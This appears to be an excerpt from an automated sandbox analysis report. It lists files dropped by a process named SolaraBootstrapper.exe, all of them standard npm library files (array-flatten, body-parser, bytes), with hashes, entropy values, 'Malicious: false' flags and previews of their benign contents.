SHA-256:	766CA145B6D25E3D60F352A716E8FA1876BCDF362C0767C360CF24F335BC281E
SHA-512:	72DF1668F464F6942C484155B667086BB6F83F77E826FFCD146EE045079DB3334ABA270BFFB66CDD796D4C9308121EC2A67A404289F19914C45D9A6C15435E71
Malicious:	false
Preview:	'use strict'../*. Expose `arrayFlatten`.. /.module.exports = arrayFlatten../. Recursive flatten function with depth.. . @param {Array} array. * @param {Array} result. * @param {Number} depth. * @return {Array}. /.function flattenWithDepth (array, result, depth) {. for (var i = 0; i < array.length; i++) {. var value = array[i].. if (depth > 0 && Array.isArray(value)) {. flattenWithDepth(value, result, depth - 1). } else {. result.push(value). }. }.. return result.}../. Recursive flatten function. Omitting depth is slightly faster.. . @param {Array} array. * @param {Array} result. * @return {Array}. /.function flattenForever (array, result) {. for (var i = 0; i < array.length; i++) {. var value = array[i].. if (Array.isArray(value)) {. flattenForever(value, result). } else {. result.push(value). }. }.. return result.}../. Flatten an array, with the ability to define a depth.. . @param {Array} array. * @

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\array-flatten\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	4.681228780713186
Encrypted:	false
SSDEEP:	12:xXr1i1Dqly283i24JV//GnObmF2sbOj8RJuj3PzS+bHdq1clPsOhs6CU3wWanr:1r1iFYdS0/YCWIrSSE6XC1War
MD5:	CB1AA7F817100A03395DD0163BF6EBE9
SHA1:	FC51B89D0FB7CC640A0495BAA4005364E83718C3
SHA-256:	5C5E0E10CFA23F163D1FE68AA57A881D09CAC39D720E1361C697B86C4D33E0F5
SHA-512:	81FFEE7B54B11B42AAEEAF1B6FB13AC64E8900E94FFD249FE075C183C3ADF8E8451529D82F6A13216C73E5D1A1F57D703D9FCF1E61674020D93B15066D37DC75
Malicious:	false
Preview:	{. "name": "array-flatten",. "version": "1.1.1",. "description": "Flatten an array of nested arrays into a single flat array",. "main": "array-flatten.js",. "files": [. "array-flatten.js",. "LICENSE". ],. "scripts": {. "test": "istanbul cover _mocha -- -R spec". },. "repository": {. "type": "git",. "url": "git://github.com/blakeembrey/array-flatten.git". },. "keywords": [. "array",. "flatten",. "arguments",. "depth". ],. "author": {. "name": "Blake Embrey",. "email": "hello@blakeembrey.com",. "url": "http://blakeembrey.me". },. "license": "MIT",. "bugs": {. "url": "https://github.com/blakeembrey/array-flatten/issues". },. "homepage": "https://github.com/blakeembrey/array-flatten",. "devDependencies": {. "istanbul": "^0.3.13",. "mocha": "^2.2.4",. "pre-commit": "^1.0.7",. "standard": "^3.7.3". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16491
Entropy (8bit):	4.906122072590963
Encrypted:	false
SSDEEP:	192:hLe1CTDXdB88EQizOhoY3lxMNqRWY39GzBAhL/7AcG6y+GoFpN8E:ha1CTDXdB5hr3lWgxsFA97Z7FpN8E
MD5:	94E1766ABF915C225DEB8E3B0FCA3EA8
SHA1:	F243DA6E908C86D71C1C2C29C633165742F2ACC3
SHA-256:	78FB65863EA5E13764FD0F68815B5F3DB3CACF46CFD2D6958D2D1770FC138F01
SHA-512:	F70A796430CBF5CC271D9394968FB591FC546184E3735E7996825C216890C0A64A391BA694A73D8DB94996651F2E103F9E2FEB4E6EB562BFD373220E8A7C4788
Malicious:	false
Preview:	1.20.2 / 2023-02-21.===================.. * Fix strict json error message on Node.js 19+. * deps: content-type@~1.0.5. - perf: skip value escaping when unnecessary. * deps: raw-body@2.5.2..1.20.1 / 2022-10-06.===================.. * deps: qs@6.11.0. * perf: remove unnecessary object clone..1.20.0 / 2022-04-02.===================.. * Fix error message for json parse whitespace in `strict`. * Fix internal error when inflated body exceeds limit. * Prevent loss of async hooks context. * Prevent hanging when request already read. * deps: depd@2.0.0. - Replace internal `eval` usage with `Function` constructor. - Use instance methods on `process` to check for listeners. * deps: http-errors@2.0.0. - deps: depd@2.0.0. - deps: statuses@2.0.1. * deps: on-finished@2.4.1. * deps: qs@6.10.3. * deps: raw-body@2.5.1. - deps: http-errors@2.0.0..1.19.2 / 2022-02-15.===================.. * deps: bytes@3.1.2. * deps: qs@6.9.7. * Fix handling of `__proto__` keys. * dep

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.194993512942844
Encrypted:	false
SSDEEP:	24:vSiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:vSiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	0AFD201E48C7D095454EED4AC1184E40
SHA1:	6A4ED3B5E9CFF68AF7593DFCB8BE3C1CBEA837D0
SHA-256:	23D466B1B134B415B66FA50C6526B4CF3E7B9258554DA88D3ABB371721E7CE68
SHA-512:	EBC137C01C13DA9D90FD411729B10CB15E6B7EA3F31A6B9DD23D0A769AEFE61CBEA7368C36698B0D562E85DCA08EBCAA59996F9653295A1C79252CBA3DA3D3AD
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2014-2015 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	18182
Entropy (8bit):	4.801523094628893
Encrypted:	false
SSDEEP:	192:eBmKv7ygazeyidkShRvtlgem3x1A6H9wSu9kYPaDpIQVf3X/R0yV2aaX2JC/vuZA:xKFO4d/63TA6H9i9bSDKqvXpqmC
MD5:	3152126CD7D54EDE5697046E69A7E589
SHA1:	3C8820C682CC2E043465D9AAFBE1E182571E941F
SHA-256:	1A8C31593D425887DF10E400A765D3F86F3B195B4EFDCCD44FF4AA542C03380B
SHA-512:	73B3C1FA28E96F744E7E6A58A13D6C5B31646CF06FE47895C226ED61198C5C2BCD4A2DC0C4447DE54EA15D5D56D7E330AD1335B3659598CC576A88E791C16358
Malicious:	false
Preview:	# body-parser..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Build Status][ci-image]][ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..Node.js body parsing middleware...Parse incoming request bodies in a middleware before your handlers, available.under the `req.body` property...Note As `req.body`'s shape is based on user-controlled input, all.properties and values in this object are untrusted and should be validated.before trusting. For example, `req.body.foo.toString()` may fail in multiple.ways, for example the `foo` property may not be there or may not be a string,.and `toString` may not be a function and instead a string or other user input...[Learn about the anatomy of an HTTP transaction in Node.js](https://nodejs.org/en/docs/guides/anatomy-of-an-http-transaction/)..._This does not handle multipart bodies_, due to their complex and typically.large nature. For multipart bodies, you may be interested in the following

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\SECURITY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	4.490786258962321
Encrypted:	false
SSDEEP:	24:1tAcoSZ8gGzjoKHb6YIKWJrDF925a/7kJyEyF0eOCYunEfu7WR:1tVS/tbdIga/7xPYun7WR
MD5:	0661686D08E2F4E6DA6AC771712A9B6C
SHA1:	15CEEA114823DAFB83860895B0779FCADB115653
SHA-256:	0448FF6C00A9D808B70C4ADBA9E6C6E1D81569BBB0ABCB335E1DD6F453B83334
SHA-512:	C14ED4926C9D5230B4E5EC8C6CE710354E488B7357970079FF5BA45F65D6FAD9E3F178888ECA97240133EAD341429AE6458580838A48636451ED41C29B351312
Malicious:	false
Preview:	# Security Policies and Procedures..## Reporting a Bug..The Express team and community take all security bugs seriously. Thank you.for improving the security of Express. We appreciate your efforts and.responsible disclosure and will make every effort to acknowledge your.contributions...Report security bugs by emailing the current owner(s) of `body-parser`. This.information can be found in the npm registry using the command.`npm owner ls body-parser`..If unsure or unable to get the information from the above, open an issue.in the [project issue tracker](https://github.com/expressjs/body-parser/issues).asking for the current contact information...To ensure the timely response to your report, please ensure that the entirety.of the report is contained within the email body and not solely behind a web.link or an attachment...At least one owner will acknowledge your email within 48 hours, and will send a.more detailed response within 48 hours indicating the next steps in handling.your report

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.724146691373171
Encrypted:	false
SSDEEP:	48:1FdMUJqE7rArelsWxYAsprpAkZqlprpAY8prpAQGprpAwBwWNiCp7pM9zDVKvWlt:1FzqEPselsWeAstGSqltGY8tGQGtGwBO
MD5:	B9E991C0E57C4D5ADDE68A2F4F063BC7
SHA1:	0CB6B9EB7B310C37E5950BBCAF672943657C94B5
SHA-256:	9C6C900E7E85FB599C62D9B9E4DFD2EA2F61D119DCE5ED69AC3A8DA828819241
SHA-512:	3BBD31EED55C32435B01FE7356D39749E95F8F49222115ADA841E751AD36227E6F427EFDC4E8BAD36D8CCD37C2E92C01FA67C24C23F52023DF8C1E1BE1A3B4F6
Malicious:	false
Preview:	/!. body-parser. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var deprecate = require('depd')('body-parser')../. Cache of loaded parsers.. * @private. /..var parsers = Object.create(null)../. @typedef Parsers. * @type {function}. * @property {function} json. * @property {function} raw. * @property {function} text. * @property {function} urlencoded. /../. Module exports.. * @type {Parsers}. /..exports = module.exports = deprecate.function(bodyParser,. 'bodyParser: use individual json/urlencoded middlewares')../. JSON parser.. * @public. /..Object.defineProperty(exports, 'json', {. configurable: true,. enumerable: true,. get: createParserGetter('json').})../. Raw parser.. * @public. /..Object.defineProperty(exports, 'raw', {. configurable: true,. enumerable: true,. get: createParserGetter('raw').})../. Text parser.. * @public. */..Object.defineProperty(exports, 't

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\lib\read.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4325
Entropy (8bit):	4.621879737023549
Encrypted:	false
SSDEEP:	96:1F2ISKMGJ0n9WbOaHSb+IR1+GFQBnPQCbfkZ/OPqgVB9OuCyMQ:1FwZYbhHSb9R1+GFQBICbfkWVBqlQ
MD5:	C148BB38C59CE266E271C96AB1F2D192
SHA1:	027F3FBD8A5370DDEC744D33EC9D594DB41F6293
SHA-256:	1E9E274755366C39AE70E8B9A7A42FC12219566E67EFAF9B7EBC2A8B337F5B6B
SHA-512:	BC4779CDA1A3B130EB8CF76BB40676046CEB514DDC5C1891D7324776E6188E5D5CEB4C0799CF2FBC007786849ED07903CB59F61FFCAC407300EEF0A16CB7C498
Malicious:	false
Preview:	/!. body-parser. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var createError = require('http-errors').var destroy = require('destroy').var getBody = require('raw-body').var iconv = require('iconv-lite').var onFinished = require('on-finished').var unpipe = require('unpipe').var zlib = require('zlib')../. Module exports.. /..module.exports = read../. Read a request into a buffer and parse.. . @param {object} req. * @param {object} res. * @param {function} next. * @param {function} parse. * @param {function} debug. * @param {object} options. * @private. */..function read (req, res, next, parse, debug, options) {. var length. var opts = options. var stream.. // flag as parsed. req._body = true.. // read options. var encoding = opts.encoding !== null. ? opts.encoding. : null. var verify = opts.verify.. try {. // get the content stream. stream = contentstream(req, debug

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\lib\types\json.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5299
Entropy (8bit):	4.88521461099306
Encrypted:	false
SSDEEP:	96:1F+Graz+dz1PbSDp2qjlvqzi+QBYwxcG5l+NbkAZiVl7g6A4QYSR:1F+Graz8TUj0mx+wOgybriVZg6ffSR
MD5:	6B036408F968978BF9668496DB9953BA
SHA1:	AF1F14428152576F1C047C3462D26A7FEB98635A
SHA-256:	44F8B529333004E2AAFF6DB3A1DBE7068F1AC5FA1173E9634686A78C2262AF35
SHA-512:	89BEF97D3D5D0C8DA0F3AA1E178FEE1D04EEE5200C2F037BD55761A61E6C6A251F7314E82343761EF227A997909F4A0237A3FF5F79A1A7BB9E879A465AB84F86
Malicious:	false
Preview:	/!. body-parser. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var bytes = require('bytes').var contentType = require('content-type').var createError = require('http-errors').var debug = require('debug')('body-parser:json').var read = require('../read').var typeis = require('type-is')../. Module exports.. /..module.exports = json../. RegExp to match the first non-space in a string.. . Allowed whitespace is defined in RFC 7159:. . ws = (. %x20 / ; Space. * %x09 / ; Horizontal tab. * %x0A / ; Line feed or New line. * %x0D ) ; Carriage return. /..var FIRST_CHAR_REGEXP = /^[\x20\x09\x0a\x0d]([^\x20\x09\x0a\x0d])/ // eslint-disable-line no-control-regex..var JSON_SYNTAX_CHAR = '#'.var JSON_SYNTAX_REGEXP = /#+/g../*. Create a middleware to parse JSON

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\lib\types\raw.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1884
Entropy (8bit):	4.734957205525373
Encrypted:	false
SSDEEP:	48:1FdMU1sdsz5XSaS+PTAzZmm5ZJp2p3zyxdEBYwWdk7cGMdIeUpnm5JkXY2xR:1F32Q5TSvp2p3+QBYwxcGzbJqQYSR
MD5:	ACB38E4FE575AFAF8D1A257E47C6E362
SHA1:	EA7411FF5A71DF8D426322D07103E5894630E29B
SHA-256:	4E9CC80A7EE8BD667C68C264B4C374B28E731246DDB6EC22C3968DAF837E30A2
SHA-512:	157427AD25390339B045B9BB81753709498B69B2CC8B9C918C19D52D1CB4F6BBE5B6B07885D0A7F66EF359B7080DC9A42216F71911B08ADE04C1A112192BFF50
Malicious:	false
Preview:	/!. body-parser. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. /..var bytes = require('bytes').var debug = require('debug')('body-parser:raw').var read = require('../read').var typeis = require('type-is')../. Module exports.. /..module.exports = raw../. Create a middleware to parse raw bodies.. . @param {object} [options]. * @return {function}. * @api public. */..function raw (options) {. var opts = options \|\| {}.. var inflate = opts.inflate !== false. var limit = typeof opts.limit !== 'number'. ? bytes.parse(opts.limit \|\| '100kb'). : opts.limit. var type = opts.type \|\| 'application/octet-stream'. var verify = opts.verify \|\| false.. if (verify !== false && typeof verify !== 'function') {. throw new TypeError('option verify must be function'). }.. // create the appropriate type checking function. var shouldParse = typeof type !== 'function'. ? typeChecker(type). : type.. functi

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\lib\types\text.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	4.7291774030563944
Encrypted:	false
SSDEEP:	48:1FdMU11dbYJMShSexPYAzZmm5ZJp2pgzyxdEBYwWdk7cGMdSeUunm54qk+tg6Akl:1F3vbYJBSeXp2pg+QBYwxcGBbk27g6A6
MD5:	BEB4ADA09306F8D6435566D9E88076D3
SHA1:	EDA9BC036C9D10F1400CD2E4A8832949671CADC7
SHA-256:	54A6E8EF720B06A300B21F6C60387805DEC743A64154784A609DFE8C6860776A
SHA-512:	5D9C9C6837B9599D29DB9B1EB54CD2A4E215FEEB028137F31C20F2B02E38F600AA8C02721444DC41D7BFC206AD39A810076853D09FA1E3113B5708A75443131E
Malicious:	false
Preview:	/!. body-parser. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. /..var bytes = require('bytes').var contentType = require('content-type').var debug = require('debug')('body-parser:text').var read = require('../read').var typeis = require('type-is')../. Module exports.. /..module.exports = text../. Create a middleware to parse text bodies.. . @param {object} [options]. * @return {function}. * @api public. */..function text (options) {. var opts = options \|\| {}.. var defaultCharset = opts.defaultCharset \|\| 'utf-8'. var inflate = opts.inflate !== false. var limit = typeof opts.limit !== 'number'. ? bytes.parse(opts.limit \|\| '100kb'). : opts.limit. var type = opts.type \|\| 'text/plain'. var verify = opts.verify \|\| false.. if (verify !== false && typeof verify !== 'function') {. throw new TypeError('option verify must be function'). }.. // create the appropriate type checking function. var

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\lib\types\urlencoded.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5797
Entropy (8bit):	4.705418003838086
Encrypted:	false
SSDEEP:	96:1F+GrIE8S/wtosB5XaYp2Yy+QBYwxcGw+NbaZMz71LX7g6KspqOJUICK0mMQ7eLR:1F+GrIE8S/wtoGXaUyx+wODybGMz7132
MD5:	906A833480CE8841BFA5AEB95B5C085F
SHA1:	8F74A7D616BF363B78844D3BCC2F554D7C76A952
SHA-256:	752717D87AAD57451638AF2073B04EBA964F348910C0BCF0070C43E732DE5EB2
SHA-512:	7676871DD3012DAD0472BE51698D9D1677622BA3D392417A41D22EF7F6D7DF6C8085516BB9BDC45D4F125815161899AA889D756D18CD41F11E2402E659F7934D
Malicious:	false
Preview:	/!. body-parser. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var bytes = require('bytes').var contentType = require('content-type').var createError = require('http-errors').var debug = require('debug')('body-parser:urlencoded').var deprecate = require('depd')('body-parser').var read = require('../read').var typeis = require('type-is')../. Module exports.. /..module.exports = urlencoded../. Cache of parser modules.. /..var parsers = Object.create(null)../. Create a middleware to parse urlencoded bodies.. . @param {object} [options]. * @return {function}. * @public. */..function urlencoded (options) {. var opts = options \|\| {}.. // notice because option default will flip in next major. if (opts.extended === undefined) {. deprecate('undefined extended: provide extended option'). }.. var extended = opts.extended !== false. var inflate = opts

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1472
Entropy (8bit):	4.8087157197270995
Encrypted:	false
SSDEEP:	24:jX6f1exVWbe9qw6uO1mrnLeRYBCivIZ2lPWEwf6Tk0XxLt:jXK4VWbe9LfjLeRYBCivIAgE66T7Xx5
MD5:	826BD4315438573BA1A6D88AE2A2AA65
SHA1:	3E27986A947E7D10488739C9AFB75F96B646C4C5
SHA-256:	0FD31AD69FDCF1E2A94530F9DB9C93E96709B690393A14711643123F678EE956
SHA-512:	2E98BA8E57CB0950E45D20365D16E86AD94A60CFD4CF103B7D55DAE02DE677985D37C0F771E16AE0A628CB3B59ADCE8A9E1742CFFC298F18CB7D935D72536E6D
Malicious:	false
Preview:	{. "name": "body-parser",. "description": "Node.js body parsing middleware",. "version": "1.20.2",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "license": "MIT",. "repository": "expressjs/body-parser",. "dependencies": {. "bytes": "3.1.2",. "content-type": "~1.0.5",. "debug": "2.6.9",. "depd": "2.0.0",. "destroy": "1.2.0",. "http-errors": "2.0.0",. "iconv-lite": "0.4.24",. "on-finished": "2.4.1",. "qs": "6.11.0",. "raw-body": "2.5.2",. "type-is": "~1.6.18",. "unpipe": "1.0.0". },. "devDependencies": {. "eslint": "8.34.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.27.5",. "eslint-plugin-markdown": "3.0.0",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "6.1.1",. "eslint-plugin-standard": "4.1.0",. "methods": "1.1.2",. "mocha": "10.2.0",. "nyc": "15.1.0",. "safe-buffer": "5.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\bytes\History.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1775
Entropy (8bit):	4.694879284534119
Encrypted:	false
SSDEEP:	24:nDK2pjiS0+M6XTlXgZni4p3qm343hab1M1uvPgaR4x5nxNpXXqIP7pFZAQsOTnPz:DKZ+jD9upaPKgaS/lpbEOTnP4s
MD5:	38354AB8C37C42C3CEE19CF5896BBDEF
SHA1:	543550BE9E713608304AE2F89A7E9B4DF070EC8F
SHA-256:	B335E48648E33BD56C3BCADBDAD4C5A8B419099E7369D3DC845C106DDB49FC1C
SHA-512:	42ABFF3AB270C275DE95CEEC061D5C16E5C2754A4B9B6EBFA6A3417DD8C314CE492C86CD5747B463C633A4560CD9DE7AC5A94087A4F864EAAE3F20DCD6FCE4EE
Malicious:	false
Preview:	3.1.2 / 2022-01-27.==================.. * Fix return value for un-parsable strings..3.1.1 / 2021-11-15.==================.. * Fix "thousandsSeparator" incorrecting formatting fractional part..3.1.0 / 2019-01-22.==================.. * Add petabyte (`pb`) support..3.0.0 / 2017-08-31.==================.. * Change "kB" to "KB" in format output. * Remove support for Node.js 0.6. * Remove support for ComponentJS..2.5.0 / 2017-03-24.==================.. * Add option "unit"..2.4.0 / 2016-06-01.==================.. * Add option "unitSeparator"..2.3.0 / 2016-02-15.==================.. * Drop partial bytes on all parsed units. * Fix non-finite numbers to `.format` to return `null`. * Fix parsing byte string that looks like hex. * perf: hoist regular expressions..2.2.0 / 2015-11-13.==================.. * add option "decimalPlaces". * add option "fixedDecimals"..2.1.0 / 2015-05-21.==================.. * add `.format` export. * add `.parse` export..2.0.2 / 2015-05-20.================

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\bytes\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1153
Entropy (8bit):	5.209440330924807
Encrypted:	false
SSDEEP:	24:5MdiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:uiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	013E95467EDDB048F19A6F5B42820F86
SHA1:	0B84CDB9FC6263EC17D8991D9109922B840D4F30
SHA-256:	E3B44AF066615DE2EA48D18D852D0762F18C0B2EFCEA714FA48A6F729D405B85
SHA-512:	940AE401DCCECEE292BB5997C97E8B02DDF90C2B3E9EA88EF712CCAF0051F64E62A321C899472E2EB133AB4643AAFDCB30F2BDB1313229D5B5F52900827E98D3
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2012-2014 TJ Holowaychuk <tj@vision-media.ca>.Copyright (c) 2015 Jed Watson <jed.watson@me.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WH

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\bytes\Readme.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4770
Entropy (8bit):	4.976342344705789
Encrypted:	false
SSDEEP:	48:xFqXmR2NdXMoNj4CUGLaHtT8sZkwadPZvCLvqv/pyiKmfFapucGa3cmWqMb8JbRZ:WXn15sTGeH8sSJWJTHsyfKBM
MD5:	E7804750B4DBB0E9169BE6BC020C8E6F
SHA1:	C1F64BB7089CB59D5B3D929388118D25448AE22A
SHA-256:	761E5A8818F8DE496A4DF6632FA30DF65B62E00D5DB2B297096C63E07D61F740
SHA-512:	645F50F3627629A5C62175B1182D2279CAD099F6B4F02B3F0FE7B604FCC64A73A7E5A0B25A225BC25326DC7A8A30AEAA2AB060FBFBBA2DDB92FDAD6673C22C35
Malicious:	false
Preview:	# Bytes utility..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Build Status][ci-image]][ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..Utility to parse a string bytes (ex: `1TB`) to bytes (`1099511627776`) and vice-versa...## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```bash.$ npm install bytes.```..## Usage..```js.var bytes = require('bytes');.```..#### bytes(number.string value, [options]): number.string.null..Default export function. Delegates to either `bytes.format` or `bytes.parse` based on the type of `value`...Arguments..\| Name \| Type \| Description \|.\|---------\|----------\|--------------------\|.\| value \| `number`.`string` \| Number value to format or string value to parse \|.\| options \|

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\bytes\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3613
Entropy (8bit):	4.963890806793395
Encrypted:	false
SSDEEP:	96:QEjKPg9hhYRkwG5jLnIzF6ujn5qamj0lf7aEb7VhhY54jAoKTybbH:QEjKPUh6KV5jTIzpj5qBjy7tb7rjrKW3
MD5:	83CF8FE86424252C5A9A3E2FE90DBD57
SHA1:	BD46529E5637FF1A659F1D4AF2598925B12741E0
SHA-256:	893FCBBBE962DC00E40DC2E4B20E76E92D874DD257345003C6575D940E91A37F
SHA-512:	F0630152A247CF51DFC677C22323AFCCC667350A11DB093B59B93F403481DEBA1D44CD78CD53F4C4A3E2DF297C35FE54CDC841C10C4667EBB81D3A54FBF56D43
Malicious:	false
Preview:	/!. bytes. * Copyright(c) 2012-2014 TJ Holowaychuk. * Copyright(c) 2015 Jed Watson. * MIT Licensed. /..'use strict';../. Module exports.. * @public. /..module.exports = bytes;.module.exports.format = format;.module.exports.parse = parse;../. Module variables.. * @private. /..var formatThousandsRegExp = /\B(?=(\d{3})+(?!\d))/g;..var formatDecimalsRegExp = /(?:\.0\|(\.[^0]+)0+)$/;..var map = {. b: 1,. kb: 1 << 10,. mb: 1 << 20,. gb: 1 << 30,. tb: Math.pow(1024, 4),. pb: Math.pow(1024, 5),.};..var parseRegExp = /^((-\|\+)?(\d+(?:\.\d+)?)) (kb\|mb\|gb\|tb\|pb)$/i;../. Convert the given value in bytes into a string or parse to string to an integer in bytes.. . @param {string\|number} value. * @param {{. * case: [string],. * decimalPlaces: [number]. * fixedDecimals: [boolean]. * thousandsSeparator: [string]. * unitSeparator: [string]. * }} [options] bytes options.. . @returns {string\|number\|null}. */..function bytes(value, options) {. if (typeof value === 'st

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\bytes\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.7529840913796395
Encrypted:	false
SSDEEP:	12:WJFGQhgA615EQN54SxR4jRp4jW8AFa5hkIQZLCYuNZWeTjk6tDGCjPcWdVbm09Lt:AFiA615Vhx6HTmwuYuNZWednVLt
MD5:	5E3137FEEC27C5D88693E0CB2FF95D3C
SHA1:	D8FE3E70EB4ECF4BF58385E4B27F89B7CE656A28
SHA-256:	99B21C09CE812DC76A06CD87C4753247CB9615C6A8501C5A5A9D9CAA22EA2D12
SHA-512:	4B4D89317E1A1CAAE6924F234B75E15BD2F8BD026D316152E6CF3FFAC53553BEA2995076A8A365F26A96730F36170D115AC35AAE6D0888F621F536D795B89A2D
Malicious:	false
